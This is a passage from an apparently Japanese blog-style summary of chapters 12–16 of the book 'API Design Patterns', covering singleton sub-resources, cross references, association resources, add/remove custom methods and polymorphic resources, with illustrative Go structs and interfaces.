ResetDriverLocation(ctx context.Context, driverID string) error}この例では、DriverリソースとDriverLocationシングルトンサブリソースを定義しています。DriverServiceインターフェースは、これらのリソースに対する操作を定義しています。シングルトンサブリソースの利点と課題著者は、シングルトンサブリソースの利点と課題について詳細に論じています。利点:データの分離: 頻繁に更新されるデータや大量のデータを分離することで、主リソースの管理が容易になります。細粒度のアクセス制御: 特定のデータに対して、より詳細なアクセス制御を実装できます。パフォーマンスの向上: 必要なデータのみを取得・更新することで、APIのパフォーマンスが向上します。課題:原子性の欠如: 親リソースとサブリソースを同時に更新することができないため、データの一貫性を維持するための追加の作業が必要になる場合があります。複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。これらの利点と課題を考慮しながら、シングルトンサブリソースの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: シングルトンサブリソースを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。特に、大規模なデータや頻繁に更新されるデータを扱う場合に有効です。セキュリティとアクセス制御: シングルトンサブリソースを使用することで、特定のデータに対してより細かいアクセス制御を実装できます。これは、セキュリティ要件が厳しい環境で特に重要です。システムの進化: シングルトンサブリソースパターンを採用することで、システムの将来的な拡張や変更が容易になります。新しい要件が発生した際に、既存のリソース構造を大きく変更することなく、新しいサブリソースを追加できます。マイクロサービスアーキテクチャとの親和性: シングルトンサブリソースの概念は、マイクロサービスアーキテクチャにおいてサービス間の境界を定義する際に特に有用です。例えば、ユーザープロファイルサービスと位置情報サービスを分離しつつ、両者の関連性を維持することができます。運用性と可観測性: シングルトンサブリソースを使用することで、特定のデータの変更履歴や更新頻度を独立して追跡しやすくなります。これにより、システムの運用性と可観測性が向上します。結論第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。シングルトンサブリソースは、特定のデータを親リソースから分離しつつ、強い関連性を維持する効果的な方法です。Get(取得)とUpdate(更新)のみをサポートし、作成と削除は親リソースに依存します。シングルトンサブリソースは、大規模データ、頻繁に更新されるデータ、特別なセキュリティ要件を持つデータの管理に特に有効です。このパターンを採用する際は、データの一貫性維持やAPI複雑性の増加といった課題にも注意を払う必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、シングルトンサブリソースの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。シングルトンサブリソースの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。13 Cross references「API Design Patterns」の第13章「Cross references」は、APIにおけるリソース間の参照の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソース間の参照が単なる技術的な実装の詳細ではなく、APIの柔軟性、一貫性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。リソース間参照の必要性と概要著者は、リソース間参照の必要性から議論を始めています。多くのAPIでは、複数のリソースタイプが存在し、これらのリソース間に関連性がある場合が多々あります。例えば、書籍リソースと著者リソースの関係などが挙げられます。これらの関連性を適切に表現し、管理することが、APIの使いやすさと柔軟性を向上させる上で重要です。著者は、リソース間参照の範囲について、以下のように分類しています。ローカル参照:同じAPI内の他のリソースへの参照グローバル参照:インターネット上の他のリソースへの参照中間的参照:同じプロバイダーが提供する異なるAPI内のリソースへの参照この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 13.1 Resources can point at others in the same API or in external APIs. より引用この図は、リソースが同じAPI内の他のリソース、外部APIのリソース、そしてインターネット上の任意のリソースを参照できることを示しています。これは、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービス、注文サービス、支払いサービスなど、複数のマイクロサービス間でリソースを相互参照する必要がある場合に、この概念が適用されます。著者は、リソース間参照の基本的な実装として、文字列型の一意識別子を使用することを提案しています。これにより、同じAPI内のリソース、異なるAPIのリソース、さらにはインターネット上の任意のリソースを統一的に参照することが可能になります。リソース間参照の実装著者は、リソース間参照の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。参照フィールドの命名: 著者は、参照フィールドの名前に「Id」サフィックスを付けることを推奨しています。例えば、BookリソースがAuthorリソースを参照する場合、参照フィールドはauthorIdと命名します。これにより、フィールドの目的が明確になり、APIの一貫性が向上します。動的リソースタイプの参照: 参照先のリソースタイプが動的に変化する場合、著者は追加のtypeフィールドを使用することを提案しています。これにより、異なるタイプのリソースを柔軟に参照できます。データ整合性: 著者は、参照の整合性(つまり、参照先のリソースが常に存在することを保証すること)を維持することの難しさを指摘しています。代わりに、APIクライアントが参照の有効性を確認する責任を負うアプローチを提案しています。値vs参照: 著者は、参照先のリソースデータをコピーして保持するか(値渡し)、単に参照を保持するか(参照渡し)のトレードオフについて議論しています。一般的に、参照を使用することを推奨していますが、特定の状況では値のコピーが適切な場合もあることを認めています。これらの原則を適用した、Golangでのリソース間参照の実装例を以下に示します。type Book struct { ID string `json:\\"id\\"` Title string `json:\\"title\\"` AuthorID string `json:\\"authorId\\"`}type Author struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"`}type ChangeLogEntry struct { ID string `json:\\"id\\"` TargetID string `json:\\"targetId\\"` TargetType string `json:\\"targetType\\"` Description string `json:\\"description\\"`}この実装では、Book構造体がAuthorIDフィールドを通じてAuthor構造体を参照しています。また、ChangeLogEntry構造体は動的なリソースタイプを参照できるよう設計されています。リソース間参照の利点と課題著者は、リソース間参照の利点と課題について詳細に論じています。利点:柔軟性: リソース間の関係を柔軟に表現できます。一貫性: 参照の表現方法が統一され、APIの一貫性が向上します。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:データ整合性: 参照先のリソースが削除された場合、無効な参照(ダングリングポインタ)が発生する可能性があります。パフォーマンス: 関連するデータを取得するために複数のAPI呼び出しが必要になる場合があります。複雑性: 動的リソースタイプの参照など、一部の実装は複雑になる可能性があります。これらの利点と課題を考慮しながら、リソース間参照の適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: リソース間参照の概念は、マイクロサービス間でのデータの関連付けに直接適用できます。例えば、注文サービスがユーザーサービスのユーザーIDを参照する際に、この設計パターンを使用できます。スケーラビリティとパフォーマンス: 参照を使用することで、各リソースを独立して管理できるため、システムのスケーラビリティが向上します。ただし、関連データの取得に複数のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。データ整合性と可用性のトレードオフ: 強力なデータ整合性を維持しようとすると(例:参照先のリソースの削除を禁止する)、システムの可用性が低下する可能性があります。著者の提案する「緩やかな参照」アプローチは、高可用性を維持しつつ、整合性の問題をクライアント側で処理する責任を負わせます。APIの進化と後方互換性: リソース間参照を適切に設計することで、APIの進化が容易になります。新しいリソースタイプの追加や、既存のリソース構造の変更が、既存の参照に影響を与えにくくなります。監視と運用: リソース間参照を使用する場合、無効な参照の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。これは、システムの長期的な健全性を維持する上で重要な運用タスクとなります。結論第13章「Cross references」は、APIにおけるリソース間参照の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、一貫性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソース間参照は、単純な文字列型の識別子を使用して実装すべきです。参照フィールドの命名には一貫性が重要で、「Id」サフィックスの使用が推奨されます。データ整合性の維持は難しいため、クライアント側で参照の有効性を確認する責任を持たせるアプローチが推奨されます。値のコピーよりも参照の使用が一般的に推奨されますが、特定の状況では値のコピーが適切な場合もあります。GraphQLなどの技術を活用することで、リソース間参照に関連するパフォーマンスの問題を軽減できる可能性があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース間参照の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。リソース間参照の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。14 Association resources「API Design Patterns」の第14章「Association resources」は、多対多の関係を持つリソース間の関連性を扱うAPIデザインパターンについて詳細に解説しています。この章を通じて、著者は関連リソースの概念、その実装方法、そしてトレードオフについて明確に示し、APIの柔軟性、スケーラビリティ、そして長期的な保守性にどのように影響するかを説明しています。関連リソースの必要性と概要著者は、多対多の関係を持つリソースの管理がAPIデザインにおいて重要な課題であることを指摘しています。例えば、ユーザーとグループの関係や、学生と講座の関係などが典型的な例として挙げられます。これらの関係を効果的に表現し管理することは、APIの使いやすさと柔軟性を向上させる上で非常に重要です。関連リソースの概念は、データベース設計における結合テーブルに類似しています。APIの文脈では、この結合テーブルを独立したリソースとして扱うことで、関連性そのものに対する操作や追加のメタデータの管理が可能になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザー管理サービスとグループ管理サービスが別々に存在する場合、これらの間の関係を管理するための独立したサービスやAPIエンドポイントが必要になります。関連リソースのパターンは、このような複雑な関係を効果的に管理するための強力なツールとなります。著者は、関連リソースの基本的な構造として以下の要素を提案しています。独立したリソース識別子関連する両方のリソースへの参照関連性に関する追加のメタデータ(必要に応じて)これらの要素を含む関連リソースは、APIの中で独立したエンティティとして扱われ、標準的なCRUD操作の対象となります。関連リソースの実装著者は、関連リソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。命名規則: 関連リソースの名前は、関連する両方のリソースを反映させるべきです。例えば、ユーザーとグループの関連であれば「UserGroup」や「GroupMembership」などが適切です。標準メソッドのサポート: 関連リソースは通常のリソースと同様に、標準的なCRUD操作(Create, Read, Update, Delete, List)をサポートする必要があります。一意性制約: 同じリソースのペアに対して複数の関連を作成することを防ぐため、一意性制約を実装する必要があります。参照整合性: 関連リソースは、参照するリソースの存在に依存します。著者は、参照整合性の維持方法として、制約(関連するリソースが存在する場合のみ操作を許可)または参照の無効化(関連するリソースが削除された場合に関連を無効化する)のアプローチを提案しています。メタデータの管理: 関連性に関する追加情報(例:ユーザーがグループに参加した日時やロールなど)を保存するためのフィールドを提供します。これらの原則を適用した、関連リソースの実装例を以下に示します。type UserGroupMembership struct { ID string `json:\\"id\\"` UserID string `json:\\"userId\\"` GroupID string `json:\\"groupId\\"` JoinedAt time.Time `json:\\"joinedAt\\"` Role string `json:\\"role\\"`}type UserGroupService interface { CreateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) GetMembership(ctx context.Context, id string) (*UserGroupMembership, error) UpdateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) DeleteMembership(ctx context.Context, id string) error ListMemberships(ctx context.Context, filter string) ([]*UserGroupMembership, error)}この実装例では、UserGroupMembership構造体が関連リソースを表現し、UserGroupServiceインターフェースが標準的なCRUD操作を提供しています。関連リソースの利点と課題著者は、関連リソースのパターンの利点と課題について詳細に論じています。利点:柔軟性: 関連性そのものを独立したリソースとして扱うことで、関連に対する詳細な操作が可能になります。メタデータの管理: 関連性に関する追加情報を容易に管理できます。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。パフォーマンス: 関連データを取得するために追加のAPI呼び出しが必要になる場合があります。整合性の維持: 参照整合性を維持するための追加の仕組みが必要になります。これらの利点と課題を考慮しながら、関連リソースパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: 関連リソースのパターンは、マイクロサービス間のデータの関連付けに直接適用できます。例えば、ユーザーサービスとグループサービスの間の関係を管理する独立したサービスとして実装することができます。スケーラビリティとパフォーマンス: 関連リソースを独立して管理することで、システムのスケーラビリティが向上します。ただし、関連データの取得に追加のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。このトレードオフを管理するために、キャッシング戦略やバッチ処理の導入を検討する必要があるでしょう。データ整合性と可用性のトレードオフ: 参照整合性を厳密に維持しようとすると、システムの可用性が低下する可能性があります。一方で、緩やかな整合性を許容すると、無効な関連が一時的に存在する可能性があります。このトレードオフを適切に管理するために、非同期の整合性チェックやイベント駆動型のアーキテクチャの導入を検討することができます。APIの進化と後方互換性: 関連リソースパターンを採用することで、APIの進化が容易になります。新しいタイプの関連や追加のメタデータを導入する際に、既存のクライアントに影響を与えることなく拡張できます。監視と運用: 関連リソースを使用する場合、無効な関連の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。また、関連リソースの数が増加した場合のパフォーマンスの影響や、ストレージの使用量なども監視する必要があります。セキュリティとアクセス制御: 関連リソースに対するアクセス制御を適切に設計することが重要です。例えば、ユーザーがグループのメンバーシップを表示したり変更したりする権限を、きめ細かく制御する必要があります。クエリの最適化: 関連リソースを効率的に取得するためのクエリパラメータやフィルタリングオプションを提供することが重要です。例えば、特定のユーザーが所属するすべてのグループを一度に取得するような最適化されたエンドポイントを提供することを検討できます。バルク操作のサポート: 大量の関連を一度に作成、更新、削除する必要がある場合、バルク操作をサポートすることで効率性を向上させることができます。イベント駆動設計との統合: 関連リソースの変更(作成、更新、削除)をイベントとして発行することで、他のサービスやシステムコンポーネントが適切に反応し、全体的な整合性を維持することができます。ドキュメンテーションと開発者エクスペリエンス: 関連リソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。API利用者が関連リソースを簡単に作成、管理、クエリできるようなツールやSDKを提供することも検討すべきです。結論第14章「Association resources」は、多対多の関係を持つリソース間の関連性を管理するための重要なパターンを提供しています。このパターンは、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。関連リソースは、多対多の関係を独立したエンティティとして扱うことで、複雑な関係の管理を容易にします。標準的なCRUD操作をサポートし、関連性に関する追加のメタデータを管理できるようにすることが重要です。一意性制約と参照整合性の維持は、関連リソースの設計において重要な考慮事項です。このパターンは柔軟性と拡張性を提供しますが、APIの複雑性とパフォーマンスへの影響を慎重に検討する必要があります。マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは特に有用です。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。関連リソースのパターンを採用する際は、システム全体のアーキテクチャと密接に関連付けて考える必要があります。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。関連リソースパターンの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。また、このパターンは、ビジネスロジックの変更や新しい要件の追加に対して柔軟に対応できる基盤を提供します。最後に、関連リソースパターンの採用は、単なる技術的な決定ではなく、ビジネス要件とシステムの長期的な目標を考慮した戦略的な選択であるべきです。適切に実装された関連リソースは、複雑なビジネスルールや関係性を効果的に表現し、システムの価値を長期的に高めることができます。API設計者とシステム設計者は、この強力なパターンを理解し、適切に活用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。15 Add and remove custom methods「API Design Patterns」の第15章「Add and remove custom methods」は、多対多の関係を持つリソース間の関連性を管理するための代替パターンについて詳細に解説しています。この章を通じて、著者はカスタムのaddおよびremoveメソッドを使用して、関連リソースを導入せずに多対多の関係を管理する方法とそのトレードオフについて明確に示しています。動機と概要著者は、前章で紹介した関連リソースパターンが柔軟性が高い一方で、複雑さも増すことを指摘しています。そこで、より単純なアプローチとして、カスタムのaddおよびremoveメソッドを使用する方法を提案しています。このパターンは、関係性に関するメタデータを保存する必要がない場合や、APIの複雑さを抑えたい場合に特に有効です。このアプローチの核心は、リソース間の関係性を管理するための専用のリソース(関連リソース)を作成せず、代わりに既存のリソースに対してaddとremoveの操作を行うことです。例えば、ユーザーとグループの関係を管理する場合、AddGroupUserやRemoveGroupUserといったメソッドを使用します。この設計パターンは、マイクロサービスアーキテクチャにおいて特に興味深い応用が考えられます。例えば、ユーザー管理サービスとグループ管理サービスが分離されている環境で、これらのサービス間の関係性を簡潔に管理する方法として活用できます。このパターンを採用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することが可能になります。著者は、このパターンの主な制限事項として以下の2点を挙げています。関係性に関するメタデータを保存できないリソース間の関係性に方向性が生まれる(管理するリソースと管理されるリソースが明確に分かれる)これらの制限は、システムの設計と実装に大きな影響を与える可能性があるため、慎重に検討する必要があります。実装の詳細著者は、addおよびremoveカスタムメソッドの実装について詳細なガイダンスを提供しています。主なポイントは以下の通りです。メソッド名の規則: AddおよびRemoveの形式を使用します。例えば、AddGroupUserやRemoveGroupUserといった具合です。リクエストの構造: これらのメソッドは、管理するリソース(親リソース)と関連付けるリソースのIDを含むリクエストを受け取ります。関連リソースの一覧取得: 関連付けられたリソースの一覧を取得するために、カスタムのリストメソッドを提供します。例えば、ListGroupUsersやListUserGroupsといったメソッドです。データの整合性: 重複した関連付けや存在しない関連の削除といった操作に対して、適切なエラーハンドリングを実装する必要があります。これらの原則を適用した実装例を、Golangを用いて示すと以下のようになります。type GroupService interface { AddGroupUser(ctx context.Context, groupID, userID string) error RemoveGroupUser(ctx context.Context, groupID, userID string) error ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) ListUserGroups(ctx context.Context, userID string, pageToken string, pageSize int) ([]*Group, string, error)}func (s *groupService) AddGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 重複チェック、存在チェック、データベース操作など return nil}func (s *groupService) RemoveGroupUser(ctx context.Context, groupID, userID string) error { // 実装の詳細... // 存在チェック、データベース操作など return nil}func (s *groupService) ListGroupUsers(ctx context.Context, groupID string, pageToken string, pageSize int) ([]*User, string, error) { // 実装の詳細... // ページネーション処理、データベースクエリなど return users, nextPageToken, nil}この実装例では、GroupServiceインターフェースがaddとremoveのカスタムメソッド、および関連リソースの一覧を取得するためのメソッドを定義しています。これらのメソッドは、グループとユーザー間の関係性を管理するための基本的な操作を提供します。利点と課題著者は、このパターンの主な利点と課題について詳細に論じています。利点:シンプルさ: 関連リソースを導入せずに多対多の関係を管理できるため、APIの構造がシンプルになります。実装の容易さ: 既存のリソースに対するカスタムメソッドとして実装できるため、新しいリソースタイプを導入する必要がありません。パフォーマンス: 関連リソースを介さずに直接操作できるため、特定のシナリオではパフォーマンスが向上する可能性があります。課題:メタデータの制限: 関係性に関する追加のメタデータ(例:関連付けられた日時、関連の種類など)を保存できません。方向性の制約: リソース間の関係に明確な方向性が生まれるため、一部のユースケースでは直感的でない設計になる可能性があります。柔軟性の低下: 関連リソースパターンと比較して、関係性の表現や操作の柔軟性が低下します。これらの利点と課題を考慮しながら、システムの要件に応じてこのパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: addとremoveカスタムメソッドを使用することで、特定のシナリオではシステムのスケーラビリティとパフォーマンスが向上する可能性があります。例えば、大規模なソーシャルネットワークアプリケーションで、ユーザー間のフォロー関係を管理する場合、このパターンを使用することで、関連リソースを介さずに直接的かつ効率的に関係性を操作できます。運用の簡素化: このパターンを採用することで、関連リソースの管理が不要になるため、システムの運用が簡素化される可能性があります。例えば、データベースのスキーマがシンプルになり、マイグレーションやバックアップの複雑さが軽減されます。マイクロサービスアーキテクチャとの親和性: このパターンは、マイクロサービス間の関係性を管理する際に特に有用です。例えば、ユーザーサービスとコンテンツサービスが分離されている環境で、ユーザーがコンテンツに「いいね」をつける機能を実装する場合、このパターンを使用することで、サービス間の結合度を低く保ちつつ、必要な関係性を効率的に管理することができます。API進化の容易さ: 関連リソースを導入せずに関係性を管理できるため、APIの進化が容易になる可能性があります。新しい種類の関係性を追加する際に、既存のリソースに新しいカスタムメソッドを追加するだけで対応できます。監視と可観測性: addとremoveの操作が明示的なメソッドとして定義されているため、これらの操作の頻度や性能を直接的に監視しやすくなります。これにより、システムの挙動をより細かく把握し、最適化の機会を見出すことができます。セキュリティとアクセス制御: カスタムメソッドを使用することで、関係性の操作に対する細かなアクセス制御を実装しやすくなります。例えば、特定のユーザーグループのみがグループにメンバーを追加できるようにするといった制御が容易になります。バッチ処理とバルク操作: このパターンは、大量の関係性を一度に操作する必要がある場合にも適しています。例えば、AddGroupUsersやRemoveGroupUsersといったバルク操作用のメソッドを追加することで、効率的な処理が可能になります。イベント駆動アーキテクチャとの統合: addやremove操作をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。例えば、ユーザーがグループに追加されたときに、通知サービスや権限管理サービスにイベントを発行し、適切なアクションを起こすことができます。結論第15章「Add and remove custom methods」は、多対多の関係を管理するための代替パターンとして、カスタムのaddおよびremoveメソッドの使用を提案しています。このパターンは、APIの複雑さを抑えつつ、効率的に関係性を管理したい場合に特に有効です。特に重要な点は以下の通りです。このパターンは、関連リソースを導入せずに多対多の関係を管理できるため、APIの構造をシンプルに保つことができます。addとremoveのカスタムメソッドを使用することで、関係性の操作が明示的かつ直感的になります。関係性に関するメタデータを保存できないという制限があるため、適用する前にユースケースを慎重に検討する必要があります。このパターンは、マイクロサービスアーキテクチャやイベント駆動アーキテクチャとの親和性が高く、効率的なシステム設計を可能にします。運用の簡素化、監視の容易さ、セキュリティ制御の柔軟性など、システム全体の管理性向上にも貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。ただし、このパターンの採用を検討する際は、システムの要件と制約を慎重に評価する必要があります。関係性に関するメタデータが重要である場合や、リソース間の関係に明確な方向性を持たせたくない場合は、前章で紹介された関連リソースパターンの方が適している可能性があります。最後に、API設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。addとremoveカスタムメソッドのパターンを採用する際は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にどのように貢献するかを常に考慮する必要があります。適切に実装されたこのパターンは、システムの進化と拡張を容易にし、長期的な保守性を向上させる強力なツールとなります。API設計者とシステム設計者は、このパターンの利点と制限を十分に理解し、プロジェクトの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは複雑な関係性を効率的に管理するための強力な選択肢となり得ます。16 Polymorphism「API Design Patterns」の第16章「Polymorphism」は、APIにおけるポリモーフィズムの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はオブジェクト指向プログラミングの強力な概念であるポリモーフィズムをAPIデザインに適用する方法と、それがAPIの柔軟性、保守性、そして長期的な進化可能性にどのように影響を与えるかを明確に示しています。ポリモーフィズムの必要性と概要著者は、オブジェクト指向プログラミング(OOP)におけるポリモーフィズムの概念から議論を始めています。ポリモーフィズムは、異なる具体的な型に対して共通のインターフェースを使用する能力を提供し、特定の型と対話する際に理解する必要がある実装の詳細を最小限に抑えます。著者は、この強力な概念をオブジェクト指向プログラミングの世界からリソース指向のAPIデザインの世界に翻訳する方法を探求しています。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、メッセージングサービスを考えてみましょう。テキストメッセージ、画像メッセージ、音声メッセージなど、様々な種類のメッセージが存在する可能性があります。これらのメッセージタイプは共通の特性(送信者、タイムスタンプなど)を持ちながら、それぞれ固有の属性(テキスト内容、画像URL、音声ファイルの長さなど)も持っています。ポリモーフィックリソースを使用することで、これらの異なるメッセージタイプを単一のMessageリソースとして扱い、共通の操作(作成、取得、一覧表示など)を提供しつつ、各タイプに固有の属性や振る舞いを維持することができます。これにより、APIの一貫性が向上し、クライアントの実装が簡素化されます。著者は、ポリモーフィックリソースの基本的な構造として以下の要素を提案しています。一意の識別子リソースのタイプを示す明示的なフィールド共通の属性タイプ固有の属性これらの要素を組み合わせることで、APIは柔軟で拡張可能なリソース表現を提供することができます。ポリモーフィックリソースの実装著者は、ポリモーフィックリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。タイプフィールドの定義: リソースのタイプを示すフィールドは、単純な文字列として実装することが推奨されています。これにより、新しいタイプの追加が容易になります。データ構造: ポリモーフィックリソースは、すべてのサブタイプの属性をカバーするスーパーセットとして設計されます。これにより、各タイプに固有の属性を柔軟に扱うことができます。バリデーション: タイプに応じて異なるバリデーションルールを適用する必要があります。例えば、テキストメッセージと画像メッセージでは、contentフィールドの有効な値が異なります。標準メソッドの実装: ポリモーフィックリソースに対する標準的なCRUD操作は、通常のリソースと同様に実装されますが、タイプに応じて異なる振る舞いを持つ可能性があります。これらの原則を適用した、Golangでのポリモーフィックリソースの実装例を以下に示します。type MessageType stringconst ( TextMessage MessageType = \\"text\\" ImageMessage MessageType = \\"image\\" AudioMessage MessageType = \\"audio\\")type Message struct { ID string `json:\\"id\\"` Type MessageType `json:\\"type\\"` Sender string `json:\\"sender\\"` Timestamp time.Time `json:\\"timestamp\\"` Content interface{} `json:\\"content\\"`}type TextContent struct { Text string `json:\\"text\\"`}type ImageContent struct { URL string `json:\\"url\\"` Width int `json:\\"width\\"` Height int `json:\\"height\\"`}type AudioContent struct { URL string `json:\\"url\\"` Duration float64 `json:\\"duration\\"`}func (m *Message) Validate() error { switch m.Type { case TextMessage: if _, ok := m.Content.(TextContent); !ok { return errors.New(\\"invalid content for text message\\") } case ImageMessage: if _, ok := m.Content.(ImageContent); !ok { return errors.New(\\"invalid content for image message\\") } case AudioMessage: if _, ok := m.Content.(AudioContent); !ok { return errors.New(\\"invalid content for audio message\\") } default: return errors.New(\\"unknown message type\\") } return nil}この実装例では、Message構造体がポリモーフィックリソースを表現し、Contentフィールドがinterface{}型を使用することで、異なるタイプのコンテンツを柔軟に扱えるようになっています。Validateメソッドは、メッセージタイプに応じて適切なバリデーションを行います。ポリモーフィズムの利点と課題著者は、APIにおけるポリモーフィズムの利点と課題について詳細に論じています。利点:柔軟性: 新しいリソースタイプを追加する際に、既存のAPIメソッドを変更する必要がありません。一貫性: 共通の操作を単一のインターフェースで提供することで、APIの一貫性が向上します。クライアントの簡素化: クライアントは、異なるタイプのリソースを統一的に扱うことができます。課題:複雑性の増加: ポリモーフィックリソースの設計と実装は、単一タイプのリソースよりも複雑になる可能性があります。パフォーマンス: タイプに応じた処理が必要なため、一部のケースでパフォーマンスが低下する可能性があります。バージョニングの難しさ: 新しいタイプの追加や既存タイプの変更が、既存のクライアントに影響を与える可能性があります。これらの利点と課題を考慮しながら、ポリモーフィズムの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: ポリモーフィックリソースは、マイクロサービス間でのデータの一貫した表現に役立ちます。例えば、通知サービスが様々な種類の通知(メール、プッシュ通知、SMSなど)を統一的に扱う場合に有用です。スケーラビリティとパフォーマンス: ポリモーフィックリソースを適切に設計することで、新しいリソースタイプの追加が容易になり、システムの拡張性が向上します。ただし、タイプチェックやバリデーションのオーバーヘッドに注意が必要です。運用の簡素化: 共通のインターフェースを使用することで、監視、ログ記録、デバッグなどの運用タスクが簡素化される可能性があります。例えば、すべてのメッセージタイプに対して統一的なログフォーマットを使用できます。APIの進化と後方互換性: ポリモーフィックリソースを使用することで、新しいリソースタイプの追加が容易になります。ただし、既存のタイプを変更する際は、後方互換性に十分注意を払う必要があります。ドキュメンテーションと開発者エクスペリエンス: ポリモーフィックリソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。バリデーションとエラーハンドリング: タイプに応じた適切なバリデーションを実装し、エラーメッセージを明確に定義することが重要です。これにより、APIの信頼性と使いやすさが向上します。キャッシング戦略: ポリモーフィックリソースのキャッシングは複雑になる可能性があります。タイプに応じて異なるキャッシュ戦略を適用することを検討する必要があります。セキュリティとアクセス制御: 異なるタイプのリソースに対して、適切なアクセス制御を実装することが重要です。例えば、特定のユーザーが特定のタイプのメッセージのみを作成できるようにする場合などです。ポリモーフィックメソッドの回避著者は、ポリモーフィックリソースの使用を推奨する一方で、ポリモーフィックメソッド(複数の異なるリソースタイプで動作する単一のAPIメソッド)の使用を強く警告しています。これは非常に重要な指摘です。ポリモーフィックメソッドは、一見すると便利に見えますが、長期的には多くの問題を引き起こす可能性があります。柔軟性の欠如: 